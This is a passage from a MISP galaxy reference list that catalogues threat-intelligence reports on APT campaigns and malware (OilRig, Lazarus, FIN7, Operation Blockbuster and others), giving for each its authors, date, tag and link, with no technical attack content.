Unit 42 QUADAGENT July 2018

Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.

The tag is: *misp-galaxy:references="Unit 42 QUADAGENT July 2018"*

Table 22266. Table References

Links
https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/

OilRig ISMAgent July 2017

Falcone, R. and Lee, B. (2017, July 27). OilRig Uses ISMDoor Variant; Possibly Linked to Greenbug Threat Group. Retrieved January 8, 2018.

The tag is: *misp-galaxy:references="OilRig ISMAgent July 2017"*

Table 22267. Table References

Links
https://researchcenter.paloaltonetworks.com/2017/07/unit42-oilrig-uses-ismdoor-variant-possibly-linked-greenbug-threat-group/

Unit 42 RGDoor Jan 2018

Falcone, R. (2018, January 25). OilRig uses RGDoor IIS Backdoor on Targets in the Middle East. Retrieved July 6, 2018.

The tag is: *misp-galaxy:references="Unit 42 RGDoor Jan 2018"*

Table 22268. Table References

Links
https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/

Palo Alto OilRig Sep 2018

Wilhoit, K. and Falcone, R. (2018, September 12). OilRig Uses Updated BONDUPDATER to Target Middle Eastern Government. Retrieved February 18, 2019.

The tag is: *misp-galaxy:references="Palo Alto OilRig Sep 2018"*

Table 22269. Table References

Links
https://unit42.paloaltonetworks.com/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/

ESET Okrum July 2019

Hromcova, Z. (2019, July). OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY. Retrieved May 6, 2020.

The tag is: *misp-galaxy:references="ESET Okrum July 2019"*

Table 22270. Table References

Links
https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf

Talos Agent Tesla Oct 2018

Brumaghin, E., et al. (2018, October 15). Old dog, new tricks - Analysing new RTF-based campaign distributing Agent Tesla, Loki with PyREbox. Retrieved November 5, 2018.

The tag is: *misp-galaxy:references="Talos Agent Tesla Oct 2018"*

Table 22271. Table References

Links
https://blog.talosintelligence.com/2018/10/old-dog-new-tricks-analysing-new-rtf_15.html

Securelist Malware Tricks April 2017

Ishimaru, S.. (2017, April 13). Old Malware Tricks To Bypass Detection in the Age of Big Data. Retrieved May 30, 2019.

The tag is: *misp-galaxy:references="Securelist Malware Tricks April 2017"*

Table 22272. Table References

Links
https://securelist.com/old-malware-tricks-to-bypass-detection-in-the-age-of-big-data/78010/

Red Canary Verclsid.exe

Haag, M., Levan, K. (2017, April 6). Old Phishing Attacks Deploy a New Methodology: Verclsid.exe. Retrieved August 10, 2020.

The tag is: *misp-galaxy:references="Red Canary Verclsid.exe"*

Table 22273. Table References

Links
https://redcanary.com/blog/verclsid-exe-threat-detection/

Talos Olympic Destroyer 2018

Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.

The tag is: *misp-galaxy:references="Talos Olympic Destroyer 2018"*

Table 22274. Table References

Links
https://blog.talosintelligence.com/2018/02/olympic-destroyer.html

Crowdstrike Pirate Panda April 2020

Busselen, M. (2020, April 7). On-demand Webcast: CrowdStrike Experts on COVID-19 Cybersecurity Challenges and Recommendations. Retrieved May 20, 2020.

The tag is: *misp-galaxy:references="Crowdstrike Pirate Panda April 2020"*

Table 22275. Table References

Links
https://www.crowdstrike.com/blog/on-demand-webcast-crowdstrike-experts-on-covid-19-cybersecurity-challenges-and-recommendations/

OneDriveStandaloneUpdater.exe - LOLBAS Project

LOLBAS. (2021, August 22). OneDriveStandaloneUpdater.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="OneDriveStandaloneUpdater.exe - LOLBAS Project"*

Table 22276. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/OneDriveStandaloneUpdater/

Electron 6-8

Kosayev, U. (2023, June 15). One Electron to Rule Them All. Retrieved March 7, 2024.

The tag is: *misp-galaxy:references="Electron 6-8"*

Table 22277. Table References

Links
https://medium.com/@MalFuzzer/one-electron-to-rule-them-all-dc2e9b263daf

chasing_avaddon_ransomware

Hernandez, A. S. Tarter, P. Ocamp, E. J. (2022, January 19). One Source to Rule Them All: Chasing AVADDON Ransomware. Retrieved January 26, 2022.

The tag is: *misp-galaxy:references="chasing_avaddon_ransomware"*

Table 22278. Table References

Links
https://www.mandiant.com/resources/chasing-avaddon-ransomware

OPSWAT Detection Engineering August 30 2024

Darren Spruell. (2024, August 30). One Step Ahead - Future Proofing in Detection Engineering. Retrieved February 13, 2025.

The tag is: *misp-galaxy:references="OPSWAT Detection Engineering August 30 2024"*

Table 22279. Table References

Links
https://www.opswat.com/blog/one-step-ahead-future-proofing-in-detection-engineering

rapid7-email-bombing

Tyler McGraw, Thomas Elkins, and Evan McCann. (2024, May 10). Ongoing Social Engineering Campaign Linked to Black Basta Ransomware Operators. Retrieved January 31, 2025.

The tag is: *misp-galaxy:references="rapid7-email-bombing"*

Table 22280. Table References

Links
https://www.rapid7.com/blog/post/2024/05/10/ongoing-social-engineering-campaign-linked-to-black-basta-ransomware-operators

Onion Routing

Wikipedia. (n.d.). Onion Routing. Retrieved October 20, 2020.

The tag is: *misp-galaxy:references="Onion Routing"*

Table 22281. Table References

Links
https://en.wikipedia.org/wiki/Onion_routing

FireEye FIN7 Aug 2018

Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.

The tag is: *misp-galaxy:references="FireEye FIN7 Aug 2018"*

Table 22282. Table References

Links
https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html

securelist_strongpity

Baumgartner, K. (2016, October 3). On the StrongPity Waterhole Attacks Targeting Italian and Belgian Encryption Users. Retrieved March 28, 2024.

The tag is: *misp-galaxy:references="securelist_strongpity"*

Table 22283. Table References

Links
https://securelist.com/on-the-strongpity-waterhole-attacks-targeting-italian-and-belgian-encryption-users/76147/

OSX.FairyTale

Phile Stokes. (2018, September 20). On the Trail of OSX.FairyTale | Adware Playing at Malware. Retrieved August 24, 2021.

The tag is: *misp-galaxy:references="OSX.FairyTale"*

Table 22284. Table References

Links
https://www.sentinelone.com/blog/trail-osx-fairytale-adware-playing-malware/

Unit 42 OopsIE! Feb 2018

Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.

The tag is: *misp-galaxy:references="Unit 42 OopsIE! Feb 2018"*

Table 22285. Table References

Links

https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/

Mitiga

Ariel Szarf, Doron Karmi, and Lionel Saposnik. (n.d.). Oops, I Leaked It Again — How Mitiga Found PII in Exposed Amazon RDS Snapshots. Retrieved September 24, 2024.

The tag is: *misp-galaxy:references="Mitiga"*

Table 22286. Table References

Links
https://www.mitiga.io/blog/how-mitiga-found-pii-in-exposed-amazon-rds-snapshots

Proofpoint ZeroT Feb 2017

Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.

The tag is: *misp-galaxy:references="Proofpoint ZeroT Feb 2017"*

Table 22287. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx

OpenConsole.exe - LOLBAS Project

LOLBAS. (2022, June 17). OpenConsole.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="OpenConsole.exe - LOLBAS Project"*

Table 22288. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/OpenConsole/

Open Login Items Apple

Apple. (n.d.). Open items automatically when you log in on Mac. Retrieved October 1, 2021.

The tag is: *misp-galaxy:references="Open Login Items Apple"*

Table 22289. Table References

Links

https://support.apple.com/guide/mac-help/open-items-automatically-when-you-log-in-mh15189/mac

OpenSSH Project Page

OpenSSH. (2023, March 15). OpenSSH. Retrieved May 25, 2023.

The tag is: *misp-galaxy:references="OpenSSH Project Page"*

Table 22290. Table References

Links
https://www.openssh.com/

OpenSSH Server Listening On Socket

mdecrevoisier. (2022, October 25). OpenSSH Server Listening On Socket. Retrieved May 25, 2023.

The tag is: *misp-galaxy:references="OpenSSH Server Listening On Socket"*

Table 22291. Table References

Links
https://github.com/SigmaHQ/sigma/blob/master/rules/windows/builtin/openssh/win_sshd_openssh_server_listening_on_socket.yml

Operating with EmPyre

rvrsh3ll. (2016, May 18). Operating with EmPyre. Retrieved July 12, 2017.

The tag is: *misp-galaxy:references="Operating with EmPyre"*

Table 22292. Table References

Links
https://medium.com/rvrsh3ll/operating-with-empyre-ea764eda3363

Windows AppleJeus GReAT

Global Research & Analysis Team, Kaspersky Lab (GReAT). (2018, August 23). Operation AppleJeus: Lazarus hits cryptocurrency exchange with fake installer and macOS malware. Retrieved September 27, 2022.

The tag is: *misp-galaxy:references="Windows AppleJeus GReAT"*

Table 22293. Table References

Links

https://securelist.com/operation-applejeus/87553/

Cybereason Operation Bearded Barbie April 5 2022

Cybereason Nocturnus. (2022, April 5). Operation Bearded Barbie: APT-C-23 Campaign Targeting Israeli Officials. Retrieved October 30, 2023.

The tag is: *misp-galaxy:references="Cybereason Operation Bearded Barbie April 5 2022"*

Table 22294. Table References

Links
https://www.cybereason.com/blog/operation-bearded-barbie-apt-c-23-campaign-targeting-israeli-officials

Novetta Blockbuster Destructive Malware

Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="Novetta Blockbuster Destructive Malware"*

Table 22295. Table References

Links
https://web.archive.org/web/20160303200515/https:/operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf

Novetta Blockbuster Loaders

Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="Novetta Blockbuster Loaders"*

Table 22296. Table References

Links
https://web.archive.org/web/20190508165631/https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf

Novetta Blockbuster RATs

Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.

The tag is: *misp-galaxy:references="Novetta Blockbuster RATs"*

Table 22297. Table References

Links
https://web.archive.org/web/20220608001455/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf

Novetta Blockbuster Tools

Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Tools Report. Retrieved March 10, 2016.

The tag is: *misp-galaxy:references="Novetta Blockbuster Tools"*

Table 22298. Table References

Links
https://web.archive.org/web/20220425194457/https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Tools-Report.pdf

Novetta Blockbuster

Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.

The tag is: *misp-galaxy:references="Novetta Blockbuster"*

Table 22299. Table References

Links
https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf

FireEye Clandestine Wolf

Eng, E., Caselden, D.. (2015, June 23). Operation Clandestine Wolf – Adobe Flash Zero-Day in APT3 Phishing Campaign. Retrieved January 14, 2016.

The tag is: *misp-galaxy:references="FireEye Clandestine Wolf"*

Table 22300. Table References

Links
https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html

Cylance Cleaver

Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.

The tag is: *misp-galaxy:references="Cylance Cleaver"*

Table 22301. Table References

Links
https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf

PWC Cloud Hopper April 2017

PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.

The tag is: *misp-galaxy:references="PWC Cloud Hopper April 2017"*

Table 22302. Table References

Links
https://web.archive.org/web/20220224041316/https:/www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf

PWC Cloud Hopper Technical Annex April 2017

PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.

The tag is: *misp-galaxy:references="PWC Cloud Hopper Technical Annex April 2017"*

Table 22303. Table References

Links
https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf

Cybereason Cobalt Kitty 2017

Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.

The tag is: *misp-galaxy:references="Cybereason Cobalt Kitty 2017"*

Table 22304. Table References

Links
https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf

Cybereason Oceanlotus May 2017

Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT

BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.

The tag is: *misp-galaxy:references="Cybereason Oceanlotus May 2017"*

Table 22305. Table References

Links
https://www.cybereason.com/blog/operation-cobalt-kitty-apt

Cybereason OperationCuckooBees May 2022

Cybereason Nocturnus. (2022, May 4). Operation CuckooBees: Deep-Dive into Stealthy Winnti Techniques. Retrieved September 22, 2022.

The tag is: *misp-galaxy:references="Cybereason OperationCuckooBees May 2022"*

Table 22306. Table References

Links
https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques

Securelist ScarCruft Jun 2016

Raiu, C., and Ivanov, A. (2016, June 17). Operation Daybreak. Retrieved February 15, 2018.

The tag is: *misp-galaxy:references="Securelist ScarCruft Jun 2016"*

Table 22307. Table References

Links
https://securelist.com/operation-daybreak/75100/

Bridewell Operation Deceptive Prospect April 29 2025

Joshua Penny, Yashraj Solanki. (2025, April 29). Operation Deceptive Prospect: RomCom Targeting UK Organisations through Customer Feedback Portals. Retrieved May 5, 2025.

The tag is: *misp-galaxy:references="Bridewell Operation Deceptive Prospect April 29 2025"*

Table 22308. Table References

Links
https://web.archive.org/web/20250502051216/https://www.bridewell.com/insights/blogs/detail/operation-deceptive-prospect-romcom-targeting-uk-organisations-through-customer-feedback-portals

sentinelone operationDigitalEye Dec 2024

Aleksandar Milenkoski, Luigi Martire. (2024, December 10). Operation Digital Eye | Chinese APT

Compromises Critical Digital Infrastructure via Visual Studio Code Tunnels. Retrieved February 27, 2025.

The tag is: *misp-galaxy:references="sentinelone operationDigitalEye Dec 2024"*

Table 22309. Table References

Links
https://www.sentinelone.com/labs/operation-digital-eye-chinese-apt-compromises-critical-digital-infrastructure-via-visual-studio-code-tunnels/

FireEye Operation Double Tap

Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.

The tag is: *misp-galaxy:references="FireEye Operation Double Tap"*

Table 22310. Table References

Links
https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html

ClearSky Lazarus Aug 2020

ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021.

The tag is: *misp-galaxy:references="ClearSky Lazarus Aug 2020"*

Table 22311. Table References

Links
https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf

Cylance Dust Storm

Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.

The tag is: *misp-galaxy:references="Cylance Dust Storm"*

Table 22312. Table References

Links
https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf

DustySky

ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.

The tag is: *misp-galaxy:references="DustySky"*

Table 22313. Table References

Links
https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf

DustySky2

ClearSky Cybersecurity. (2016, June 9). Operation DustySky - Part 2. Retrieved August 3, 2016.

The tag is: *misp-galaxy:references="DustySky2"*

Table 22314. Table References

Links
http://www.clearskysec.com/wp-content/uploads/2016/06/Operation-DustySky2_-6.2016_TLP_White.pdf

Trend Micro Tick November 2019

Chen, J. et al. (2019, November). Operation ENDTRADE: TICK's Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020.

The tag is: *misp-galaxy:references="Trend Micro Tick November 2019"*

Table 22315. Table References

Links
https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf

FireEye DeputyDog 9002 November 2013

Moran, N. et al.. (2013, November 10). Operation Ephemeral Hydra: IE Zero-Day Linked to DeputyDog Uses Diskless Method. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="FireEye DeputyDog 9002 November 2013"*

Table 22316. Table References

Links

https://web.archive.org/web/20190221032148/http://www.fireeye.com/blog/threat-research/2013/11/operation-ephemeral-hydra-ie-zero-day-linked-to-deputydog-uses-diskless-method.html

Volexity Exchange Marauder March 2021

Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021.

The tag is: *misp-galaxy:references="Volexity Exchange Marauder March 2021"*

Table 22317. Table References

Links
https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/

ESET Dukes October 2019

Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020.

The tag is: *misp-galaxy:references="ESET Dukes October 2019"*

Table 22318. Table References

Links
https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf

IssueMakersLab Andariel GoldenAxe May 2017

IssueMakersLab. (2017, May 1). Operation GoldenAxe. Retrieved September 12, 2024.

The tag is: *misp-galaxy:references="IssueMakersLab Andariel GoldenAxe May 2017"*

Table 22319. Table References

Links
http://www.issuemakerslab.com/research3/

ESET Operation Groundbait

Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.

The tag is: *misp-galaxy:references="ESET Operation Groundbait"*

Table 22320. Table References

Links
http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf

Operation Hangover May 2013

Fagerland, S., et al. (2013, May). Operation Hangover: Unveiling an Indian Cyberattack Infrastructure. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="Operation Hangover May 2013"*

Table 22321. Table References

Links
https://web.archive.org/web/20140424084220/http://enterprise-manage.norman.c.bitbit.net/resources/files/Unveiling_an_Indian_Cyberattack_Infrastructure.pdf

ESET Operation Interception June 17 2020

Dominik Breitenbacher, Kaspars Osis. (2020, June 17). Operation In(ter)ception: Aerospace and military companies in the crosshairs of cyberspies. Retrieved June 20, 2024.

The tag is: *misp-galaxy:references="ESET Operation Interception June 17 2020"*

Table 22322. Table References

Links
https://www.welivesecurity.com/2020/06/17/operation-interception-aerospace-military-companies-cyberspies/

ESET Lazarus Jun 2020

Breitenbacher, D and Osis, K. (2020, June 17). OPERATION IN(TER)CEPTION: Targeted Attacks Against European Aerospace and Military Companies. Retrieved December 20, 2021.

The tag is: *misp-galaxy:references="ESET Lazarus Jun 2020"*

Table 22323. Table References

Links
https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_Operation_Interception.pdf

AhnLab Kimsuky Kabar Cobra Feb 2019

AhnLab. (2019, February 28). Operation Kabar Cobra - Tenacious cyber-espionage campaign by Kimsuky Group. Retrieved September 29, 2021.

The tag is: *misp-galaxy:references="AhnLab Kimsuky Kabar Cobra Feb 2019"*

Table 22324. Table References

Links
https://global.ahnlab.com/global/upload/download/techreport/%5BAnalysis_Report%5DOperation%20Kabar%20Cobra.pdf

Mandiant Operation Ke3chang November 2014

Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION "KE3CHANG": Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.

The tag is: *misp-galaxy:references="Mandiant Operation Ke3chang November 2014"*

Table 22325. Table References

Links
https://www.mandiant.com/resources/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs

Villeneuve et al 2014

Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION "KE3CHANG": Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.

The tag is: *misp-galaxy:references="Villeneuve et al 2014"*

Table 22326. Table References

Links
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf

Cisco Operation Layover September 2021

Ventura, V. (2021, September 16). Operation Layover: How we tracked an attack on the aviation industry to five years of compromise. Retrieved September 15, 2023.

The tag is: *misp-galaxy:references="Cisco Operation Layover September 2021"*

Table 22327. Table References

Links
https://blog.talosintelligence.com/operation-layover-how-we-tracked-attack/

Lotus Blossom Jun 2015

Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.

The tag is: *misp-galaxy:references="Lotus Blossom Jun 2015"*

Table 22328. Table References

Links
https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html

FireEye Operation Molerats

Villeneuve, N., Haq, H., Moran, N. (2013, August 23). OPERATION MOLERATS: MIDDLE EAST CYBER ATTACKS USING POISON IVY. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="FireEye Operation Molerats"*

Table 22329. Table References

Links
https://web.archive.org/web/20201031075438/https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-using-poison-ivy.html

McAfee Lazarus Nov 2020

Beek, C. (2020, November 5). Operation North Star: Behind The Scenes. Retrieved December 20, 2021.

The tag is: *misp-galaxy:references="McAfee Lazarus Nov 2020"*

Table 22330. Table References

Links
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-behind-the-scenes/

McAfee Lazarus Jul 2020

Cashman, M. (2020, July 29). Operation North Star Campaign. Retrieved December 20, 2021.

The tag is: *misp-galaxy:references="McAfee Lazarus Jul 2020"*

Table 22331. Table References

Links
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-a-job-offer-thats-too-good-to-be-true/?hilite=%27Operation%27%2C%27North%27%2C%27Star%27

McAfee Oceansalt Oct 2018

Sherstobitoff, R., Malhotra, A. (2018, October 18). ‘Operation Oceansalt’ Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018.

The tag is: *misp-galaxy:references="McAfee Oceansalt Oct 2018"*

Table 22332. Table References

Links
https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf

FireEye OpPoisonedHandover February 2016

Ned Moran, Mike Scott, Mike Oppenheim of FireEye. (2014, November 3). Operation Poisoned Handover: Unveiling Ties Between APT Activity in Hong Kong's Pro-Democracy Movement. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="FireEye OpPoisonedHandover February 2016"*

Table 22333. Table References

Links
https://web.archive.org/web/20201127180357/https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html

Operation Quantum Entanglement

Haq, T., Moran, N., Vashisht, S., Scott, M. (2014, September). OPERATION QUANTUM ENTANGLEMENT. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="Operation Quantum Entanglement"*

Table 22334. Table References

Links
https://web.archive.org/web/20210920193513/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf

ProofPoint GoT 9002 Aug 2017

Huss, D. & Mesa, M. (2017, August 25). Operation RAT Cook: Chinese APT actors use fake Game of Thrones leaks as lures. Retrieved March 19, 2018.

The tag is: *misp-galaxy:references="ProofPoint GoT 9002 Aug 2017"*

Table 22335. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/operation-rat-cook-chinese-apt-actors-use-fake-game-thrones-leaks-lures

FireEye Op RussianDoll

FireEye Labs. (2015, April 18). Operation RussianDoll: Adobe & Windows Zero-Day Exploits Likely Leveraged by Russia's APT28 in Highly-Targeted Attack. Retrieved April 24, 2017.

The tag is: *misp-galaxy:references="FireEye Op RussianDoll"*

Table 22336. Table References

Links
https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html

FireEye Operation Saffron Rose 2013

Villeneuve, N. et al.. (2013). OPERATION SAFFRON ROSE . Retrieved May 28, 2020.

The tag is: *misp-galaxy:references="FireEye Operation Saffron Rose 2013"*

Table 22337. Table References

Links
https://www.mandiant.com/sites/default/files/2021-09/rpt-operation-saffron-rose.pdf

Cylance Shaheen Nov 2018

Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019.

The tag is: *misp-galaxy:references="Cylance Shaheen Nov 2018"*

Table 22338. Table References

Links
https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517

McAfee Sharpshooter December 2018

Sherstobitoff, R., Malhotra, A., et. al.. (2018, December 18). Operation Sharpshooter Campaign Targets Global Defense, Critical Infrastructure. Retrieved May 14, 2020.

The tag is: *misp-galaxy:references="McAfee Sharpshooter December 2018"*

Table 22339. Table References

Links
https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf

Novetta-Axiom

Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.

The tag is: *misp-galaxy:references="Novetta-Axiom"*

Table 22340. Table References

Links
https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf

Cybereason Soft Cell June 2019

Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.

The tag is: *misp-galaxy:references="Cybereason Soft Cell June 2019"*

Table 22341. Table References

Links
https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers

Azure AD Graph API

Microsoft. (2016, March 26). Operations overview | Graph API concepts. Retrieved June 18, 2020.

The tag is: *misp-galaxy:references="Azure AD Graph API"*

Table 22342. Table References

Links
https://docs.microsoft.com/en-us/previous-versions/azure/ad/graph/howto/azure-ad-graph-api-operations-overview

ESET Operation Spalax Jan 2021

1. Porolli. (2021, January 21). Operation Spalax: Targeted malware attacks in Colombia. Retrieved September 16, 2022.

The tag is: *misp-galaxy:references="ESET Operation Spalax Jan 2021"*

Table 22343. Table References

Links
https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/

Proofpoint TA453 July2021

Miller, J. et al. (2021, July 13). Operation SpoofedScholars: A Conversation with TA453. Retrieved August 18, 2021.

The tag is: *misp-galaxy:references="Proofpoint TA453 July2021"*

Table 22344. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/operation-spoofedscholars-conversation-ta453

Sentinel One Tainted Love 2023

Aleksandar Milenkoski, Juan Andres Guerrero-Saade, and Joey Chen. (2023, March 23). Operation Tainted Love | Chinese APTs Target Telcos in New Attacks. Retrieved March 18, 2025.

The tag is: *misp-galaxy:references="Sentinel One Tainted Love 2023"*

Table 22345. Table References

Links
https://www.sentinelone.com/labs/operation-tainted-love-chinese-apts-target-telcos-in-new-attacks/

Proofpoint Operation Transparent Tribe March 2016

Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.

The tag is: *misp-galaxy:references="Proofpoint Operation Transparent Tribe March 2016"*

Table 22346. Table References

Links
https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf

TrendMicro TropicTrooper 2015

Alintanahin, K. (2015). Operation Tropic Trooper: Relying on Tried-and-Tested Flaws to Infiltrate Secret Keepers. Retrieved June 14, 2019.

The tag is: *misp-galaxy:references="TrendMicro TropicTrooper 2015"*

Table 22347. Table References

Links
https://documents.trendmicro.com/assets/wp/wp-operation-tropic-trooper.pdf

ClearSky and Trend Micro Operation Wilted Tulip July 2017

ClearSky and Trend Micro. (2017, July). Operation Wilted Tulip - Exposing a cyber espionage apparatus. Retrieved May 17, 2021.

The tag is: *misp-galaxy:references="ClearSky and Trend Micro Operation Wilted Tulip July 2017"*

Table 22348. Table References

Links
https://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf

ClearSky Wilted Tulip July 2017

ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.

The tag is: *misp-galaxy:references="ClearSky Wilted Tulip July 2017"*

Table 22349. Table References

Links
http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf

ESET Windigo Mar 2014

Bilodeau, O., Bureau, M., Calvet, J., Dorais-Joncas, A., Léveillé, M., Vanheuverzwijn, B. (2014, March 18). Operation Windigo – the vivisection of a large Linux server-side credential-stealing malware campaign. Retrieved February 10, 2021.

The tag is: *misp-galaxy:references="ESET Windigo Mar 2014"*

Table 22350. Table References

Links
https://www.welivesecurity.com/2014/03/18/operation-windigo-the-vivisection-of-a-large-linux-server-side-credential-stealing-malware-campaign/

FoxIT Wocao December 2019

Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China's hidden hacking groups. Retrieved October 8, 2020.

The tag is: *misp-galaxy:references="FoxIT Wocao December 2019"*

Table 22351. Table References

Links
